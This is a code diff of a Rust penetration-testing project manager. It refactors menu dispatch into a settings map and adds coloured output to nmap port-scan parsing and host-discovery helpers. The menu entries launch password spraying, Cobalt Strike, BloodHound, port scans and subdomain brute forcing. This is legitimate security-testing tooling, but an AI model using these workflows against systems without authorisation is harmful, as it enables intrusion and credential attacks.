"3" => {let thread_option = cli::run_command("switch project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"5" => {let thread_option = cli::run_command("save projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"12" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"13" => {let thread_option = cli::run_command("generate userpass".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"14" => {let thread_option = cli::run_command("initial enum".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"15" => {let thread_option = cli::run_command("build attack notes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"26" => {let thread_option = cli::run_command("stop boxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"17" => {let thread_option = cli::run_command("password spray".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"18" => {let thread_option = cli::run_command("parse gather contacts".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"19" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"20" => {let thread_option = cli::run_command("dns records".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"21" => {let thread_option = cli::run_command("brute force subdomains".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"22" => {let thread_option = cli::run_command("dns enumeration".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||
"2" => {let thread_option = cli::run_command("list projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"3" => {let thread_option = cli::run_command("switch project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"5" => {let thread_option = cli::run_command("save projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"12" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"13" => {let thread_option = cli::run_command("generate userpass".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"14" => {let thread_option = cli::run_command("initial enum".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"15" => {let thread_option = cli::run_command("build attack notes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"26" => {let thread_option = cli::run_command("stop boxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"17" => {let thread_option = cli::run_command("password spray".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"18" => {let thread_option = cli::run_command("parse gather contacts".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"19" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"20" => {let thread_option = cli::run_command("dns records".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"21" => {let thread_option = cli::run_command("brute force subdomains".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"22" => {let thread_option = cli::run_command("dns enumeration".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||
"23" => loopize = false,
|
||||
_ => println!("unknown selection, try again!"),
|
||||
_ => println!("{}", "unknown selection, try again!".red()),
|
||||
}
|
||||
}
|
||||
if threads.len() > 0{
|
||||
@@ -234,28 +220,18 @@ ___ ___ _ ___ ___
|
||||
|
||||
pub fn internal_menu(
|
||||
banner: &str,
|
||||
projects: &mut Vec<Project>,
|
||||
mut projects: &mut Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
base_files: &PathBuf,
|
||||
base_notes: &PathBuf,
|
||||
tools_dir: &PathBuf,
|
||||
boxtemplate: String,
|
||||
terminal: String,
|
||||
cracking_rig: String,
|
||||
rockyou: String,
|
||||
rule: String,
|
||||
upcoming_files: &PathBuf,
|
||||
upcoming_notes: &PathBuf,
|
||||
password_spray_file: &PathBuf,
|
||||
fingerprint: bool,
|
||||
vault_name: String) -> Option<Vec<JoinHandle<()>>>{
|
||||
settings: &HashMap<&str, String>) -> Option<Vec<JoinHandle<()>>>{
|
||||
let mut loopize = true;
|
||||
let mut threads = Vec::new();
|
||||
while loopize {
|
||||
let _enter_to_clear = get_user_input("press enter to display internal project menu.");
|
||||
clear().expect("error clearing screen");
|
||||
print!("
|
||||
{}
|
||||
{}
|
||||
{}
|
||||
\n", banner.custom_color((255,165,0)), "
|
||||
_____ _ _ ___ ___
|
||||
|_ _| | | | | | \\/ | _
|
||||
| | _ __ | |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||
@@ -284,31 +260,30 @@ ___ ___ _ ___ ___
|
||||
20.) open bloodhound in the current project's distrobox
|
||||
21.) prune unused distroboxes (free up system storage)
|
||||
22.) exit menu
|
||||
\n", banner);
|
||||
".custom_color((255,165,0)));
|
||||
match get_user_input("selection?").as_str(){
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"2" => {let thread_option = cli::run_command("list projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"3" => {let thread_option = cli::run_command("switch project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"5" => {let thread_option = cli::run_command("save projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"15" => {let thread_option = cli::run_command("host discovery".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"16" => {let thread_option = cli::run_command("port scan".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"17" => {let thread_option = cli::run_command("parse port scan".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"18" => {let thread_option = cli::run_command("stop boxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"19" => {let thread_option = cli::run_command("password spray".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"20" => {let thread_option = cli::run_command("bloodhound".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"21" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), projects, config_path.clone(), base_files, base_notes, tools_dir, boxtemplate.clone(), terminal.to_owned(), cracking_rig.to_owned(), rockyou.to_owned(), rule.to_owned(), upcoming_files, upcoming_notes, password_spray_file, fingerprint, vault_name.to_owned()); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||
"1" => {let thread_option = cli::run_command("show active project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"2" => {let thread_option = cli::run_command("list projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"3" => {let thread_option = cli::run_command("switch project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"5" => {let thread_option = cli::run_command("save projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"6" => {let thread_option = cli::run_command("import project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"7" => {let thread_option = cli::run_command("remove project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"9" => {let thread_option = cli::run_command("promote project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"15" => {let thread_option = cli::run_command("host discovery".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"16" => {let thread_option = cli::run_command("port scan".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"18" => {let thread_option = cli::run_command("stop boxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"19" => {let thread_option = cli::run_command("password spray".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"20" => {let thread_option = cli::run_command("bloodhound".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"21" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||
"22" => loopize = false,
|
||||
_ => println!("unknown selection, try again!"),
|
||||
_ => println!("{}", "unknown selection, try again!".red()),
|
||||
}
|
||||
}
|
||||
if threads.len() > 0{
|
||||
|
||||
@@ -8,7 +8,7 @@ use std::thread::{sleep, spawn, JoinHandle};
|
||||
use std::time::Duration;
|
||||
use colored::Colorize;
|
||||
use walkdir::WalkDir;
|
||||
use crate::get_user_input;
|
||||
use crate::{get_user_input, print_error, print_informational, print_success};
|
||||
use crate::Project;
|
||||
use crate::open_overwrite;
|
||||
use crate::open_append;
|
||||
@@ -196,7 +196,7 @@ pub fn build_cmd_for_host_discovery(project: &Project){
|
||||
let general_note_string = read_to_string(general_note_path);
|
||||
let mut _note_string = String::new();
|
||||
match general_note_string{
|
||||
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
||||
Err(error) => {println!("{} {}", "error reading file to string!!".green(), error.to_string().green()); return;},
|
||||
_=> _note_string = general_note_string.unwrap()
|
||||
}
|
||||
let lines: Vec<&str> = _note_string.split("\n").collect();
|
||||
@@ -235,7 +235,7 @@ pub fn build_cmd_for_host_discovery(project: &Project){
|
||||
final_command.push_str(">> ping_only_replies.txt &");
|
||||
}
|
||||
final_command.pop();
|
||||
println!("{}", final_command);
|
||||
print_success(final_command);
|
||||
}
|
||||
|
||||
pub fn parse_csportscan(project: &Project){
|
||||
@@ -318,7 +318,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
outfile.clear();
|
||||
outfile.push(get_user_input("ok, please enter the full path to the folder you want to save them to."));
|
||||
}
|
||||
print!("
|
||||
let host_number_results = format!("
|
||||
{} Windows hosts found!
|
||||
{} SSH hosts found!
|
||||
{} FTP hosts found!
|
||||
@@ -328,7 +328,8 @@ pub fn parse_csportscan(project: &Project){
|
||||
{} RDP hosts found!
|
||||
{} untagged hosts found!
|
||||
", windows_hosts.len(), ssh_hosts.len(), ftp_hosts.len(), telnet_hosts.len(), snmp_hosts.len(), dns_hosts.len(), rdp_hosts.len(), unknown_ports.len());
|
||||
println!("lines parsed! creating output files...");
|
||||
print_success(host_number_results);
|
||||
print_informational("data gathered, writing to notes...");
|
||||
outfile.push("windows_hosts.txt");
|
||||
let file_option = open_overwrite(&outfile);
|
||||
if file_option.is_some(){
|
||||
@@ -342,6 +343,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("windows hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -359,6 +361,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("ssh hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -376,6 +379,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("telnet hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -393,6 +397,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("fpt hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -410,6 +415,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("snmp hosts file written!")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -427,6 +433,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("dns hosts file written!")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -444,6 +451,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("rdp hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -461,10 +469,11 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
write_res.unwrap();
|
||||
print_success("web hosts file written!");
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("interesting ports have been written to... writing untagged port files...");
|
||||
print_informational("tagged port files have been written to, saving untagged ports...");
|
||||
outfile.pop();
|
||||
outfile.push("untagged ports");
|
||||
if !outfile.exists(){
|
||||
@@ -476,6 +485,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
else{
|
||||
untagged_res.unwrap();
|
||||
print_success("untagged port file written!");
|
||||
}
|
||||
}
|
||||
for line in unknown_ports{
|
||||
@@ -496,7 +506,7 @@ pub fn parse_csportscan(project: &Project){
|
||||
}
|
||||
outfile.pop();
|
||||
}
|
||||
println!("DONE all files saved to {}", outfile.display());
|
||||
print_success(format!("DONE all files saved to {}", outfile.display()));
|
||||
println!("note if no hosts were found for a protocol their files will be empty.");
|
||||
}
|
||||
|
||||
@@ -526,7 +536,7 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
return None;
|
||||
}
|
||||
let mut targets = targets_res.unwrap();
|
||||
println!("Got targets from scope!");
|
||||
print_success("Got targets from scope!");
|
||||
for target in &targets{
|
||||
println!("{}", target);
|
||||
}
|
||||
@@ -579,7 +589,11 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
}
|
||||
}
|
||||
let proxy = get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y");
|
||||
println!("sweet we have what we need!");
|
||||
print_success("sweet we have what we need!");
|
||||
print_informational("Targets:");
|
||||
for target in &targets{
|
||||
print_success(format!("{}", target));
|
||||
}
|
||||
println!("building portscan command...");
|
||||
let working_project = project.clone();
|
||||
let mut save_path = project.files_folder.clone();
|
||||
@@ -591,7 +605,6 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
save_path.push("services.tsv");
|
||||
let mut enumeration_notes_path = project.notes_folder.clone();
|
||||
enumeration_notes_path.push("enumeration.md");
|
||||
println!("{}", save_path.display());
|
||||
let mut nmap_output = Vec::new();
|
||||
let nmap_thread = spawn(move || {
|
||||
if proxy{
|
||||
@@ -644,6 +657,7 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
if nmap_log_file.is_some(){
|
||||
let mut nmap_log_file = nmap_log_file.unwrap();
|
||||
write!(nmap_log_file, "{}", nmap_output_string).unwrap();
|
||||
print_success("nmap log file written!");
|
||||
}
|
||||
let mut host_ports = Vec::new();
|
||||
let host_sections: Vec<&str> = nmap_output_string.split("Nmap scan report ").collect();
|
||||
@@ -690,8 +704,7 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
